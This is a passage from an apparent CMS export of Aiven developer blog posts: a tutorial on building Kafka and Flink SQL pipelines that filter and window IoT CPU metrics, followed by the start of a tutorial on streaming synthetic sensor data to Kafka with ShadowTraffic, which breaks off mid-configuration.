geographically distributed, messages can arrive with a delay or potentially out of order, thus, before further processing, we want to allow late arrivals of IoT records with a delay up to 10 seconds. In rough terms this means that we'll wait 10 more seconds before finishing off any window calculation.\n\nWhen we monitor any type of hardware, we might want to check if the device health parameters are within an optimal range, and if not, start raising alerts. We can achieve that by creating a data pipeline to filter all high cpu utilization records and push them to a new Apache Kafka® topic, where a downstream consuming application will then trigger the alerts. [In the old batch days](https://aiven.io/blog/why-you-should-think-about-moving-analytics-from-batch-to-real-time) we would run the same query every few minutes to check for high values, with streaming we can redirect the problematic records as soon as they appear.\n\nChecking every individual sample against the threshold might be a bit bursty, and we are ok if a single cpu sample goes over the limit. On the other side, we might want to calculate the average and maximum cpu level at 5 minutes interval, since those metrics can help us identifying problematic CPUs with consistent heavy load. To achieve this second monitoring step, we'll create another pipeline aggregating samples with 5 minutes windows.\nPlease consider, that this use case was also solvable in batch mode, but in that case we had to **start the batch** load 10 seconds (the allowed delay) after the 5 minutes window and see the results only after the batch time. If the batch time of collecting data, calculating and storing results is 1 minute, we would discover the end status with 1 minute and 10 seconds of delay.\n\nWith Apache Flink®, if the query allows, the window information is captured and calculated incrementally during the window time itself. Therefore, after the 10 seconds delay is finished, there can be a minimal overhead due to the last computation to finish before emitting the result. For simple queries, we would retrieve the results with just a little bit more of the 10 seconds of forced delay.\n\nWhat we'll notice when writing the two data pipelines is how Apache Flink® SQL is similar to the SQL we would use to query a relational database. This makes the migration from batch processes to streaming a matter of learning the little peculiar tricks of Apache Flink.\n\n## Define the building blocks\n\nWe will use [Aiven for Apache Kafka®](https://aiven.io/kafka) as the data bus and [Aiven for Apache Flink®](https://aiven.io/flink) to define some data pipelines in SQL.\nAiven provides a beautiful [web console](https://console.aiven.io/) that we can use to create all our services, but for the aim of this blog post, we will rely on the [Aiven CLI](https://aiven.io/docs/tools/cli.html) to setup and manage our instances, since it provides a way to script the entire process and produce replicable results.\n\nTo make our command lines simpler, we can store the Aiven project name we are using in a shell variable, `AVN_PROJECT_NAME`, replacing the `YOUR_PROJECT_NAME` placeholder with the actual project name. For instance, in `bash`:\n\n```\nAVN_PROJECT_NAME=YOUR_PROJECT_NAME\n```\n\nOnce the [Aiven CLI](https://aiven.io/docs/tools/cli.html) is installed, we can start creating the Aiven for Apache Kafka® service by issuing the following command in the terminal:\n\n```bash\navn service create demo-kafka               \\\n    --project $AVN_PROJECT_NAME             \\\n    --service-type kafka                    \\\n    --cloud google-europe-west3             \\\n    --plan business-4                       \\\n    -c kafka.auto_create_topics_enable=true \\\n    -c kafka_rest=true                      \\\n    -c schema_registry=true\n```\n\nThe above creates an Apache Kafka® instance named `demo-kafka` located in `google-europe-west3` region, with the 3-node cluster defined by the `business-4` plan. To store schema information we enable schema registry via Aiven's [Karapace](https://github.com/aiven/karapace), and we allow querying it via REST calls by enabling Kafka REST. Finally we allow the [automatic creation of topics on the first message](https://aiven.io/docs/products/kafka/howto/create-topics-automatically.html), useful for a demo project like this.\n\nNow, we can create the Aiven for Apache Flink® service with:\n\n```bash\navn service create demo-flink       \\\n    --project $AVN_PROJECT_NAME     \\\n    --service-type flink            \\\n    --cloud google-europe-west3     \\\n    --plan business-4\n```\n\nCompared to the previous call, the only difference is the service name (now `demo-flink`) and type (now `flink`).\n\nTo complete the setup, we need to connect the two pillars with a service integration, and again the Aiven CLI is our friend.\n\n```bash\navn service integration-create      \\\n    --project $AVN_PROJECT_NAME     \\\n    -t flink                        \\\n    -s demo-kafka                   \\\n    -d demo-flink\n```\n\nIn the above, we specify an integration of type `flink` connecting the data source `demo-kafka` to the Aiven for Apache Flink® service called `demo-flink`.\n\n## Define the streaming input\n\nWe need some data to play with, and instead of the usual pizza example, we will now use fake metrics reported by IoT (Internet of Things) devices. The beauty is that it's contained in the same [GitHub repository](https://github.com/aiven/python-fake-data-producer-for-apache-kafka) that we were using for our previous example, which has a flag called `subject` allowing us to generate various types of fake data.\n\nThe associated [GitHub repository](https://github.com/aiven/fake-data-producer-for-apache-kafka-docker) provides a dockerised version. To start using it we first clone the repository\n\n```bash\ngit clone https://github.com/aiven/fake-data-producer-for-apache-kafka-docker\n```\n\nNext, we need to create an access token, that will be used by the Docker instance to retrieve the Apache Kafka®'s service URI and certificates, with the following Aiven CLI command and [jq](https://stedolan.github.io/jq/) to fetch the results:\n\n```bash\navn user access-token create                            \\\n    --description \"Token used by Fake data generator\"   \\\n    --max-age-seconds 3600                              \\\n    --json | jq -r '.[].full_token'\n```\n\nThe above generates a token valid for 1 hour (3600 secs). Take note of the command output in the `FULL_TOKEN` field since now it's time to include it in the repo config file. Within the `fake-data-producer-for-apache-kafka-docker` folder, let's copy the `conf/env.conf.sample` to `conf/env.conf` and edit the file with the following content:\n\n```bash\nPROJECT_NAME=\"[YOUR_PROJECT_NAME]\"\nSERVICE_NAME=\"demo-kafka\"\nTOPIC=\"iot-data-input\"\nPARTITIONS=1\nREPLICATION=2\nNR_MESSAGES=0\nMAX_TIME=1\nSUBJECT=\"metric\"\nUSERNAME=\"[YOUR_ACCOUNT]\"\nTOKEN=\"[YOUR_ACCESS_TOKEN]\"\nSECURITY=\"SSL\"\n```\n\nReplace the `[YOUR_PROJECT_NAME]` with the project name where Aiven for Apache Kafka® is running, and the duo `[YOUR_ACCOUNT]`, `[YOUR_ACCESS_TOKEN]` with the account credentials necessary to attach to Apache Kafka®. If you followed these examples they would be your email and the token you generated a few steps above.\n\nTime to build the docker image with:\n\n```bash\ndocker build -t fake-data-producer-for-apache-kafka-docker .\n```\n\nIf you change any parameter in the `conf/env.conf` file (like the access token), you need to rebuild the image to take the changes into the Docker images. \n\nFinally start the fake stock data flow with:\n\n```bash\ndocker run fake-data-producer-for-apache-kafka-docker\n```\n\nAfter few seconds we should see an infinite amount of messages getting created in the Apache Kafka® topic named `iot-data-input`. We can check them using [kcat](https://github.com/edenhill/kcat). Use the instructions in the [dedicated doc page](https://aiven.io/docs/products/kafka/howto/kcat.html) to install and set up the `kcat.config` configuration file and then check the data flowing in Apache Kafka® with.\n\n```bash\nkcat -F kcat.config -C -t iot-data-input\n```\n\nWe should see a stream of IoT device cpu usage measurements.\n\n## Define a data filtering pipeline\n\nFor the rest of the post, we'll need the ID of the integration we just created. To retrieve it, we can issue the following command relying on the Aiven CLI and some `jq` filtering of the results\n\n```bash\nKAFKA_FLINK_SI=$(                                   \\\n    avn service integration-list                    \\\n    demo-flink                                      \\\n    --project $AVN_PROJECT_NAME                     \\\n    --json                                          \\\n    | jq -r '.[] | select(.source == \"demo-kafka\") | .service_integration_id')\n```\n\nThe above command lists the integrations, filtering the one pointing to the `demo-kafka` service and storing its ID in the `KAFKA_FLINK_SI` variable, that we'll use later.\n\nThe next step is to setup a streaming data pipeline in Apache Flink®. Aiven for Apache Flink allows us to define data pipelines as [applications](https://aiven.io/docs/products/flink/concepts/flink-applications), containing all the metadata definitions like table, SQL transformation and deployment parameters. \n\nThe following Aiven CLI command allows us to create an application called \"Filtering_Data_Pipeline\":\n\n```bash\navn service flink create-application demo-flink  \\\n  --project $AVN_PROJECT_NAME                    \\\n  \"{\\\"name\\\":\\\"Filtering_Data_Pipeline\\\"}\"\n```\n\n## Define an Aiven for Apache Flink application\n\nNow we've got a new Apache Flink application named `Filtering_Data_Pipeline`, we can retrieve the application id that we'll need later on with:\n\n```bash\nFLINK_APP_ID=$(avn service flink list-applications demo-flink       \\\n                    --project $AVN_PROJECT_NAME                     \\\n                    | jq -r '.applications[] | select(.name == \"Filtering_Data_Pipeline\") | .id')\n```\n\nThe above command lists the applications, filtering the one named `Filtering_Data_Pipeline` and storing its ID in the `FLINK_APP_ID` variable, that we'll use later.\n\n## Define an Aiven for Apache Flink application version\n\nNow it's time to create an **application version**. The versioning system allows us to quickly evolve the data pipeline definition, and to travel back in history if some changes are not in line with expectations. In the application version we need to specify:\n\n* The list of **sources**, together with their service integration id that defines which other Aiven services will be used to pull the data\n* The **sink**, together with its service integration id that defines which other Aiven service will be used to sink the data\n* The transformation **SQL statement** that defines how to reshape the data. \n\nThe overall structure of the application in JSON format is:\n\n```json\n{\n    \"sources\": [\n        {\n            \"create_table\":\"CREATE TABLE SRC_TBL1....\",\n            \"integration_id\":\"INTEGRATION_ID1\"\n        },\n        {\n            \"create_table\":\"CREATE TABLE SRC_TBL2....\",\n            \"integration_id\":\"INTEGRATION_ID1\"\n        }\n    ],\n    \"sinks\": [\n        {\n            \"create_table\":\"CREATE TABLE SINK_TBL1....\",\n            \"integration_id\":\"INTEGRATION_ID3\"\n        }\n    ],\n    \"statement\": \"INSERT INTO SINK_TBL1 SELECT ...\"\n}\n```\n\nBack to our example, we can create the application version with the following command:\n\n```bash\navn service flink create-application-version demo-flink           \\\n  --project $AVN_PROJECT_NAME                                     \\\n  --application-id $FLINK_APP_ID                                  \\\n  \"\"\"{\n    \\\"sources\\\": [\n      {\n        \\\"create_table\\\":\n          \\\"CREATE TABLE iot_in (\\n\\\n                hostname VARCHAR,\\n\\\n                cpu VARCHAR,\\n\\\n                usage DOUBLE,\\n\\\n                occurred_at BIGINT,\\n\\\n                time_ltz AS TO_TIMESTAMP_LTZ(occurred_at, 3),\\n\\\n                WATERMARK FOR time_ltz AS time_ltz - INTERVAL '10' seconds\\n\\\n              )\\n\\\n            WITH (\\n\\\n              'connector' = 'kafka',\\n\\\n              'properties.bootstrap.servers' = '',\\n\\\n              'scan.startup.mode' = 'earliest-offset',\\n\\\n              'value.fields-include' = 'ALL',\\n\\\n              'topic' = 'iot-data-input',\\n\\\n              'value.format' = 'json'\\n\\\n            )\\\",\n            \\\"integration_id\\\": \\\"$KAFKA_FLINK_SI\\\"\n      } ],\n    \\\"sinks\\\": [\n      {\n        \\\"create_table\\\":\n          \\\"CREATE TABLE iot_filtered_alert (\\n\\\n                hostname VARCHAR,\\n\\\n                time_ltz TIMESTAMP(3),\\n\\\n                cpu VARCHAR,\\n\\\n                usage DOUBLE)\\n\\\n            WITH (\\n\\\n              'connector' = 'kafka',\\n\\\n              'properties.bootstrap.servers' = '',\\n\\\n              'scan.startup.mode' = 'earliest-offset',\\n\\\n              'topic' = 'iot-filtered-alert',\\n\\\n              'value.format' = 'json'\\n\\\n            )\\\",\n            \\\"integration_id\\\": \\\"$KAFKA_FLINK_SI\\\"\n        }\n        ],\n    \\\"statement\\\":\n      \\\"insert into iot_filtered_alert\\n\\\n            select\\n\\\n                hostname,\\n\\\n                time_ltz,\\n\\\n                cpu,\\n\\\n                usage\\n\\\n            from\\n\\\n                iot_in\\n\\\n            where usage \u003e 90\\\"\n  }\"\"\"\n```\n\nThe above command generates an Apache Flink® application version in `demo-flink` composed of:\n\n1. A **source table** called `iot_in` using the integration id with the Apache Kafka® service stored in the `$KAFKA_FLINK_SI`.\n\n   The schema of the table maps the fields `hostname`, `cpu`, `usage` and `occurred_at`. Moreover it sets a new field, called `time_ltz`, which casts the `occurred_at` timestamp in linux format to the native timestamp used by Apache Flink®. Finally the `WATERMARK` section allows late events to arrive: we are enabling the IoT measurements to be included as valid and considered for the downstream data pipelines if they arrive within `10` seconds delay. We can notice that, apart from the peculiar `WATERMARK` definition, the rest of the SQL definition is really similar to what we would use in a relational database.\n\n   Some things to notice in the source table definition `WITH` section: \n\n   * it reads from the beginning (`earliest-offset`) of the topic `iot-data-input` \n   * as the `properties.bootstrap.servers` is empty, the connection information will be fetched from the integration definition\n   * it uses the standard `kafka` connector (check more about the different Apache Kafka® connectors in the [dedicated documentation](https://aiven.io/docs/products/flink/concepts/kafka-connectors.html))\n   * it defines the inbound source of data to be `json` format.\n\n2. A **sink table** called `iot_filtered_alert` using the integration id with the Apache Kafka® service stored in the `$KAFKA_FLINK_SI`.\n\n   The schema of the table includes the fields `hostname`, `time_ltz`, `cpu` and `usage`. It defines the target of the data pipeline as a topic named `iot-filtered-alert` in Apache Kafka (with the `$KAFKA_FLINK_SI` integration id) using similar settings for the connector, startup mode and value format as the source table.\n\n3. A **SQL transformation** that selects the `hostname`, `time_ltz`, `cpu` and `usage` from the source `iot_in` table, filtering for `usage` values greater than `90` and inserts the data in the `iot_filtered_alert`.\n\n## Deploy an Aiven for Apache Flink application version\n\nAt this point, the first version of our application is ready to be deployed. The deployment stage allows us to actually start the data pipeline by submitting the application to the Apache Flink service for it to be run. We need to fetch the application version id with:\n\n```bash\nFLINK_APP_VERSION_ID=$(avn service flink get-application demo-flink \\\n    --project $AVN_PROJECT_NAME                                     \\\n    --application-id $FLINK_APP_ID                                  \\\n    | jq -r '.application_versions[] | select(.version == 1) | .id')\n```\n\nThe above command retrieves the Application definition, and with `jq` filters for version 1 (`select(.version == 1)`) and extracts the `id`. \n\nNow we are ready to deploy our application, with the following command:\n\n```bash\navn service flink create-application-deployment demo-flink      \\\n  --project $AVN_PROJECT_NAME                                   \\\n  --application-id $FLINK_APP_ID                                \\\n  \"{\\\"parallelism\\\": 1,\\\"restart_enabled\\\": true,  \\\"version_id\\\": \\\"$FLINK_APP_VERSION_ID\\\"}\"\n```\n\nWe can check the deployment status with:\n\n```bash\navn service flink get-application demo-flink            \\\n    --project $AVN_PROJECT_NAME                         \\\n    --application-id $FLINK_APP_ID | jq '.current_deployment.status'\n```\n\nOnce the application deployment is in `RUNNING` state, filtered data should be pushed to the Apache Kafka® topic named `iot-filtered-output`. We can check with `kcat` and the following call:\n\n```bash\nkcat -F kcat.config -C -t iot-filtered-alert\n```\n\nOnly measurements with over 90% utilization should appear in the `iot-filtered-alert` topic, similar to the below:\n\n```json\n{\"hostname\":\"dopey\",\"time_ltz\":\"2023-02-08 11:05:23.319\",\"cpu\":\"cpu4\",\"usage\":90.51760978462883}\n{\"hostname\":\"happy\",\"time_ltz\":\"2023-02-08 11:05:25.954\",\"cpu\":\"cpu4\",\"usage\":99.6863297672615}\n{\"hostname\":\"sneezy\",\"time_ltz\":\"2023-02-08 11:05:30.701\",\"cpu\":\"cpu5\",\"usage\":97.19928378993606}\n{\"hostname\":\"doc\",\"time_ltz\":\"2023-02-08 11:05:32.142\",\"cpu\":\"cpu2\",\"usage\":95.69989296729409}\n{\"hostname\":\"doc\",\"time_ltz\":\"2023-02-08 11:05:32.773\",\"cpu\":\"cpu3\",\"usage\":94.04115316937872}\n{\"hostname\":\"grumpy\",\"time_ltz\":\"2023-02-08 11:05:34.052\",\"cpu\":\"cpu2\",\"usage\":95.45458336597062}\n{\"hostname\":\"bashful\",\"time_ltz\":\"2023-02-08 11:05:34.506\",\"cpu\":\"cpu1\",\"usage\":93.83903103097724}\n```\n\nGreat, we built our first filtering pipeline redirecting problematic samples to a new Apache Kafka® topic where downstream applications can access them and generate the required alerts. It's streaming, so the alerts are detected and propagated in near real time.\n\n\n## Define an aggregation pipeline\n\nIn the second scenario we want to define an aggregation over the IoT metrics calculating the average and maximum usage over 5 minutes windows to help us smooth the bursty sample behavior. Following similar steps to the above, we can:\n\n1. Define a new Aiven for Apache Flink application with:\n\n   ```bash\n   avn service flink create-application demo-flink  \\\n     --project $AVN_PROJECT_NAME                    \\\n     \"{\\\"name\\\":\\\"Windowing_Data_Pipeline\\\"}\"\n   ```\n\n2. Get the application id with:\n\n   ```bash\n   FLINK_APP_ID=$(avn service flink list-applications demo-flink       \\\n                    --project $AVN_PROJECT_NAME                     \\\n                    | jq -r '.applications[] | select(.name == \"Windowing_Data_Pipeline\") | .id')\n   ```\n\n3. Define the new application version with:\n\n   ```bash\n   avn service flink create-application-version demo-flink           \\\n     --project $AVN_PROJECT_NAME                                     \\\n     --application-id $FLINK_APP_ID                                  \\\n     \"\"\"{\n       \\\"sources\\\": [\n         {\n           \\\"create_table\\\":\n             \\\"CREATE TABLE iot_in (\\n\\\n                   hostname VARCHAR,\\n\\\n                   cpu VARCHAR,\\n\\\n                   usage DOUBLE,\\n\\\n                   occurred_at BIGINT,\\n\\\n                   time_ltz AS TO_TIMESTAMP_LTZ(occurred_at, 3),\\n\\\n                   WATERMARK FOR time_ltz AS time_ltz - INTERVAL '10' seconds\\n\\\n                 )\\n\\\n               WITH (\\n\\\n                 'connector' = 'kafka',\\n\\\n                 'properties.bootstrap.servers' = '',\\n\\\n                 'scan.startup.mode' = 'earliest-offset',\\n\\\n                 'value.fields-include' = 'ALL',\\n\\\n                 'topic' = 'iot-data-input',\\n\\\n                 'value.format' = 'json'\\n\\\n               )\\\",\n               \\\"integration_id\\\": \\\"$KAFKA_FLINK_SI\\\"\n         } ],\n       \\\"sinks\\\": [\n         {\n           \\\"create_table\\\":\n             \\\"CREATE TABLE iot_avg_out (\\n\\\n                   window_start TIMESTAMP(3),\\n\\\n                   window_end TIMESTAMP(3),\\n\\\n                   hostname VARCHAR,\\n\\\n                   cpu VARCHAR,\\n\\\n                   avg_usage DOUBLE,\\n\\\n                   max_usage DOUBLE\\n\\\n                   )\\n\\\n               WITH (\\n\\\n                 'connector' = 'kafka',\\n\\\n                 'properties.bootstrap.servers' = '',\\n\\\n                 'scan.startup.mode' = 'earliest-offset',\\n\\\n                 'topic' = 'iot-avg-output',\\n\\\n                 'value.format' = 'json'\\n\\\n               )\\\",\n               \\\"integration_id\\\": \\\"$KAFKA_FLINK_SI\\\"\n           }\n           ],\n       \\\"statement\\\":\n         \\\"insert into iot_avg_out\\n\\\n               select\\n\\\n                   window_start,\\n\\\n                   window_end,\\n\\\n                   hostname,\\n\\\n                   cpu,\\n\\\n                   avg(usage),\\n\\\n                   max(usage)\\n\\\n               from\\n\\\n               TABLE(TUMBLE( TABLE iot_in, DESCRIPTOR(time_ltz), INTERVAL '5' MINUTES))\\n\\\n               group by\\n\\\n                   window_start,\\n\\\n                   window_end,\\n\\\n                   hostname,\\n\\\n                   cpu\\\"\n     }\"\"\"\n   ```\n\n   Note that the above command reuses the same definition for the `iot_in` table as the previous example, but defines a new Apache Flink® table definition called `iot_avg_out` pointing to the topic `iot-avg-output` in JSON format. The `iot_avg_out` schema SQL includes the `window_start` and `window_end` columns defining the boundaries of the window calculated using the [event time](https://aiven.io/docs/products/flink/concepts/event-processing-time.html), the IoT device `hostname` and `cpu`, and the aggregated columns for average and maximum usage.\n\n   The `statement` section defines the 5 minute time windows, based on the event time column `time_ltz` with the `TUMBLE` option (check out the [dedicated window documentation](https://aiven.io/docs/products/flink/concepts/windows.html)), and performs the aggregations. We can notice again that, apart from the custom `TUMBLE` definition, the SQL statement is really similar to one we could use in a relational database.\n\n4. Get the application version id with:\n\n   ```bash\n   FLINK_APP_VERSION_ID=$(avn service flink get-application demo-flink        \\\n       --project $AVN_PROJECT_NAME                                            \\\n       --application-id $FLINK_APP_ID                                         \\\n       | jq -r '.application_versions[] | select(.version == 1) | .id')\n   ```\n\n5. Deploy the application with:\n\n   ```bash\n   avn service flink create-application-deployment demo-flink      \\\n     --project $AVN_PROJECT_NAME                                   \\\n     --application-id $FLINK_APP_ID                                \\\n     \"{\\\"parallelism\\\": 1,\\\"restart_enabled\\\": true,  \\\"version_id\\\": \\\"$FLINK_APP_VERSION_ID\\\"}\"\n   ```\n\nWe can check the deployment status with:\n\n```bash\navn service flink get-application demo-flink            \\\n  --project $AVN_PROJECT_NAME                         \\\n  --application-id $FLINK_APP_ID | jq '.current_deployment.status'\n```\n\nOnce the status is `RUNNING`, we can check the aggregated results being pushed to the `iot-avg-output` Apache Kafka® topic using `kcat` and the following command:\n\n```bash\nkcat -F kcat.config -C -t iot-avg-output\n```\n\nThe result should be similar to the following, showing the window start and end time, the IoT device hostname, cpu and the aggregated utilization metrics\n\n```json\n{\"window_start\":\"2023-02-08 10:20:00\",\"window_end\":\"2023-02-08 10:25:00\",\"hostname\":\"dopey\",\"cpu\":\"cpu2\",\"avg_usage\":83.75267676383785,\"max_usage\":98.69540798403519}\n{\"window_start\":\"2023-02-08 10:20:00\",\"window_end\":\"2023-02-08 10:25:00\",\"hostname\":\"happy\",\"cpu\":\"cpu2\",\"avg_usage\":86.92580172018437,\"max_usage\":99.19071554040988}\n{\"window_start\":\"2023-02-08 10:20:00\",\"window_end\":\"2023-02-08 10:25:00\",\"hostname\":\"happy\",\"cpu\":\"cpu1\",\"avg_usage\":88.89410118795028,\"max_usage\":98.63471212455435}\n{\"window_start\":\"2023-02-08 10:20:00\",\"window_end\":\"2023-02-08 10:25:00\",\"hostname\":\"dopey\",\"cpu\":\"cpu4\",\"avg_usage\":84.0739509212965,\"max_usage\":98.74529247031236}\n{\"window_start\":\"2023-02-08 10:20:00\",\"window_end\":\"2023-02-08 10:25:00\",\"hostname\":\"grumpy\",\"cpu\":\"cpu4\",\"avg_usage\":79.39103768789909,\"max_usage\":91.3979757069514}\n{\"window_start\":\"2023-02-08 10:20:00\",\"window_end\":\"2023-02-08 10:25:00\",\"hostname\":\"sneezy\",\"cpu\":\"cpu2\",\"avg_usage\":84.2944495941075,\"max_usage\":99.55062006322083}\n{\"window_start\":\"2023-02-08 10:20:00\",\"window_end\":\"2023-02-08 10:25:00\",\"hostname\":\"grumpy\",\"cpu\":\"cpu3\",\"avg_usage\":82.57313518548608,\"max_usage\":99.47190111994642}\n{\"window_start\":\"2023-02-08 10:20:00\",\"window_end\":\"2023-02-08 10:25:00\",\"hostname\":\"sneezy\",\"cpu\":\"cpu4\",\"avg_usage\":86.71661332259018,\"max_usage\":99.61266191120228}\n```\n\nNow that we created our 5 minutes windows topic, we could iterate again in our monitoring solution, by adding a follow up Apache Flink® job filtering only the data going over a threshold. The beauty of this approach is that we can plug one step of our solution at a time, storing the intermediate data in the common bus represented by Apache Kafka®.\nFurthermore since the data is stored in an Apache Kafka® topic, we could use Apache Kafka Connect® to sink the data to OpenSearch® and use OpenSearch Dashboard or Grafana® to visualize the trends. \n\nWith the combination of Apache Flink®, Apache Kafka®, and Apache Kafka Connect® we have endless possibilities in terms of streaming analytics and integrations.\n\n::banner[Use Aiven for Apache Flink® for data transformation, Aiven for Apache Kafka® for data streaming, and Aiven for PostgreSQL® for data storage/query.]{ctaText=\"Read tutorial\" ctaLink=\"https://aiven.io/docs/tutorials/anomaly-detection\" title=\"Build a streaming anomaly detection system\" theme=dark}\n\n## Next steps\n\nApache Kafka® and Apache Flink® allow you to move away from batch processing and embrace streaming while keeping a familiar SQL interface for the pipeline definitions. Even more, Apache Flink® rich SQL syntax allows you to define aggregations, boundaries and temporal limits that would be somehow hard to define on traditional databases. To know a bit more about this open source combination and the related managed services Aiven is offering: \n\n* Check out [Aiven for Apache Kafka®](https://aiven.io/kafka)\n* Check out [Aiven for Apache Flink®](https://aiven.io/flink)\n* Understand the difference between [Event time and Processing time](https://aiven.io/docs/products/flink/concepts/event-processing-time.html)\n* Learn all the available [Apache Flink® SQL functions](https://nightlies.apache.org/flink/flink-docs-master/docs/dev/table/functions/systemfunctions/)\n\nIf you're not using Aiven services yet, go ahead and sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup)!\n\n## Further reading\n\n- [Data streaming made easy with Apache Kafka®](https://aiven.io/blog/data-streaming-made-simple-with-apache-kafka)","feature":{"_type":"featuredItem","active":true,"endDate":"2023-03-27T13:14:01.284Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"internalTags":[{"_key":"5b6d74a7a96d","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2024-02-08T00:00:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","asset":{"_ref":"image-ef095a5aafabccae547e5cfb70e22dfa98a507c5-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/first-streaming-sql-pipeline-with-apache-flink"},"subtitle":"Find out how Apache Kafka® and Apache Flink® allow you to move from batch processing to streaming, but keep using SQL in the data pipeline.","tags":[{"_key":"8d60d9249803","_ref":"665d1689-e4a5-43d5-bfbe-a673d66b1a41","_type":"tag"},{"_key":"e7384e5d6e25","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"71ed2f97ff6f","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Move from batch to streaming with Apache Kafka® and Apache Flink®"}
{"__i18n_lang":"en","_createdAt":"2024-10-30T23:38:42Z","_id":"2f67fdb6-3a95-4225-a58d-559fd5553b5a","_rev":"awnmkCLYpW42uv1UrYH1vy","_type":"devArticle","_updatedAt":"2024-10-31T11:55:06Z","body":"In the world of AI and machine learning, access to high-quality, large-scale data is crucial for success. However, real-world datasets are often hard to come by due to concerns around privacy, cost, or regulatory restrictions. Synthetic data provides a practical solution to these challenges by generating artificial datasets that closely resemble real data without compromising sensitive information.\n\nApache Kafka®, a distributed event streaming platform, is a popular choice for building real-time data pipelines and streaming applications. By using synthetic data, Kafka topics can simulate real-world events, making it possible to test, train, and develop AI models in a more controlled and scalable environment. This approach not only accelerates AI workflows but also helps minimize the risks associated with using actual data.\n\nIn this article, we'll walk through how to use [ShadowTraffic](https://shadowtraffic.io/) to simulate traffic to an Apache Kafka topic in Aiven. We'll demonstrate how to stream sensor readings to a Kafka topic, offering a robust and scalable setup.\n\nShadowTraffic provides a range of generators, functions, and modifiers that help shape the data stream, allowing you to create realistic datasets that closely resemble real-world scenarios. In our example, we'll walk through the steps to do just that.\n\n## Step 1. Create Aiven for Apache Kafka service\n\nFor this tutorial, we'll be using Aiven for Apache Kafka, which you can set up in just a few minutes. If you're new to Aiven, go ahead and [create an account](https://console.aiven.io/signup) — you'll also get free credits to start your trial.\n\nOnce you're signed in, [create a new Aiven for Apache Kafka service](https://aiven.io/docs/platform/howto/create_new_service). This will serve as the backbone for our synthetic data stream.\n\n![kafka_service.png](https://cdn.sanity.io/images/sczeoy4w/production/1ddf9aa3208ec18e95712915fb077ec78403fec9-2456x1414.png)\n\n## Step 2. Prepare SSL credentials\nTo enable secure communication between ShadowTraffic and Apache Kafka, we’ll need to configure Java SSL keystore and truststore files. Follow [these instructions](https://aiven.io/docs/products/kafka/howto/keystore-truststore) to generate the required files. By the end of this step, you’ll have the following:\n\n- A truststore file in JKS format: `client.truststore.jks`\n- A truststore password\n- A keystore file in PKCS12 format: `client.keystore.p12`\n- A keystore password\n- A key password\n\nAdd the generated files into a folder `ssl`, we'll need them later when we run ShadowTraffic via Docker.\n\n![trust_key_stores.png](https://cdn.sanity.io/images/sczeoy4w/production/a0e8272638c63b879cb9c4d08587873790d721fc-2094x228.png)\n\n## Step 3. Quick start with ShadowTraffic\n\nShadowTraffic has excellent [documentation](https://docs.shadowtraffic.io/quickstart/) that explains how to get started with its APIs. Begin by creating a ``license.env`` file (you can use a free trial for this tutorial).\n\nShadowTraffic relies on Docker. If you're new to Docker ecosystem, follow [these steps to set it up](https://www.docker.com/get-started/). Next, pull the [ShadowTraffic docker image](https://hub.docker.com/r/shadowtraffic/shadowtraffic) by running the following command:\n\n```bash\ndocker pull shadowtraffic/shadowtraffic\n```\n![docker_pull.png](https://cdn.sanity.io/images/sczeoy4w/production/0adc1c3c06db4ecce4ed600346009bb9d67f3e18-1854x424.png)\n\n## Step 4. Create configuration file\n\nNow, let's create a configuration file for ShadowTraffic, which will instruct it on how to generate and stream the data. The configuration file consists of two key sections: connection information and data generation settings.\n\n\n### Connection configuration\n\nTo securely transmit data between your Aiven for Apache Kafka service and ShadowTraffic, we’ll need to use the keystore and truststore files you created earlier. Below is an example configuration that incorporates the keystore and truststore details:\n\n```json\n{\n  \"connections\": {\n    \"dev-kafka\": {\n      \"kind\": \"kafka\",\n      \"producerConfigs\": {\n        \"bootstrap.servers\": \"YOUR-KAFKRA-URI\",\n        \"ssl.truststore.location\": \"/ssl/client.truststore.jks\",\n        \"ssl.truststore.type\": \"JKS\",\n        \"ssl.truststore.password\": \"YOUR-TRUSTSTORE-PASSWORD\",\n        \"ssl.keystore.location\": \"/ssl/client.keystore.p12\",\n        \"ssl.key.password\": \"YOUR-KEY-PASSWORD\",\n        \"ssl.keystore.password\": \"YOUR-KEYSTORE-PASSWORD\",\n        \"value.serializer\": \"io.shadowtraffic.kafka.serdes.JsonSerializer\",\n        \"key.serializer\": \"io.shadowtraffic.kafka.serdes.JsonSerializer\",\n        \"security.protocol\": \"SSL\"\n      }\n    }\n  }\n}\n```\n\nReplace `YOUR-KAFKRA-URI` with the URI to your Apache Kafka cluster and set correct values for `YOUR-TRUSTSTORE-PASSWORD`, `YOUR-KEY-PASSWORD` and `YOUR-KEYSTORE-PASSWORD`.\n\nWe'll link the SSL keystore and truststore files to the Docker container later when running the ``docker run`` command. For now, you can keep the file locations as the default, but be sure to set the correct passwords for both the keystore and truststore.\n\n### Generators\nNext, we’ll set up the data generator. Each record generated will use a sensor ID as the key, which will uniquely identify each sensor.\n\nTo generate the sensor ID, we’ll use ShadowTraffic's ``uuid`` function, which creates random IDs for us:\n\n```json\n      \"key\": {\n        \"sensorId\": { \"_gen\": \"uuid\" }\n      },\n```\n\nFor the value of each record, we’ll simulate a PM2.5 (particulate matter) reading. This can be modeled using a normal (Gaussian) distribution, where most values fall between 55 and 65. The timestamp will be generated dynamically at the time of data creation:\n\n```json\n      \"value\": {\n        \"pm25\": {\n          \"_gen\": \"normalDistribution\",\n          \"mean\": 60,\n          \"sd\": 5\n        },\n        \"timestamp\": { \"_gen\": \"now\" }\n      },\n```\n\nHowever, to make the synthetic data stream more realistic, we can adjust the behavior based on the time of day. For this, we'll use an ``intervals`` construct that allows us to generate different patterns at different times. When the system’s current time overlaps with a defined Cron schedule, the corresponding data pattern will be used.\n\n\n\nHere’s how we can set up a PM2.5 generator that simulates different pollution levels throughout the day:\n\n\n```json\n\"pm25\": {\n          \"_gen\": \"intervals\",\n          \"intervals\": [\n            [ \"0 6-9 * * *\", { \"_gen\": \"normalDistribution\", \"mean\": 100, \"sd\": 15 } ],\n            [ \"0 10-15 * * *\", { \"_gen\": \"normalDistribution\", \"mean\": 60, \"sd\": 10 